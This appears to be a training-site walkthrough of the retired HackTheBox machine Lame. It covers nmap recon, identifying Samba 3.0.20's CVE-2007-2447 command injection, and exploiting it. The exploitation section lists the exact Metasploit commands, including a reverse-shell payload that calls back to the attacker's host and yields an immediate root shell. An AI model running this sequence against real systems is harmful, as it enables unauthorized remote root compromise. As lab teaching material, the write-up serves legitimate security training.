PWNMI

Labs

HackTheBox: Lame — Walkthrough and Methodology

Platform walkthrough RCE

Updated July 22, 2026 · Written by PWNMI — see About.

Lame is one of HackTheBox's original machines and still one of the best first boxes to attempt — it's a clean, linear path from an open port to root, with no red herrings. This is a retired machine, which is what makes writing it up appropriate: HTB's policy is that write-ups belong on retired boxes, not active ones. If a box is still live, don't publish a walkthrough for it.

What you'll practice: service enumeration, identifying a known CVE from a version string, using Metasploit responsibly, and recognizing when a "misconfiguration" (a service running as root) turns a remote code execution bug into an instant root shell.

Recon

 
nmap -sV -sC -p- -T4 10.10.10.3

The scan turns up the usual suspects for an older Linux box: FTP (21), SSH (22), and Samba (139/445). The Samba service is the interesting one — note the version string in the -sV output.

Enumeration

The Samba version reported is smbd 3.0.20-Debian. That specific version is publicly known to be vulnerable to a "username map script" command injection — CVE-2007-2447. This is exactly the workflow from the Nmap guide: version string first, CVE lookup second.

Exploitation

Metasploit has a ready-made module for this:

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set PAYLOAD cmd/unix/reverse
set LHOST <your IP>
run

Understand what's actually happening before you fire it: the vulnerable Samba config lets you smuggle shell metacharacters through a username field, which Samba then passes to a shell unsanitized. The module automates that injection and catches a reverse shell.

"Privilege escalation" (or: why this box is unusually generous)

Check id right after you land the shell — on Lame, the Samba daemon runs as root, so the initial shell already has root privileges. No further escalation needed. This is deliberately not representative of most real engagements or most other boxes; it's what makes Lame a good first box and a poor template for what privesc normally looks like. For boxes that actually require a privesc phase — a script running as root via cron or sudo — see the script privesc checklist.

Lessons worth keeping
  • Version strings are leads, not noise. An outdated Samba version isn't just trivia — it's a direct pointer to a public CVE.
  • Understand an exploit before running it. Metasploit makes this fast, but "fast" isn't the same as "safe" against a real target — know what a module actually does before pointing it at anything outside a lab.
  • Services running as root are a red flag, not a convenience — the entire reason this box is trivial is a real-world misconfiguration pattern.

Next step

If this felt approachable, move to a box or room with a real privilege escalation phase next — the script privesc checklist covers the most common category, or see the Roadmap for what to tackle after your first few easy boxes.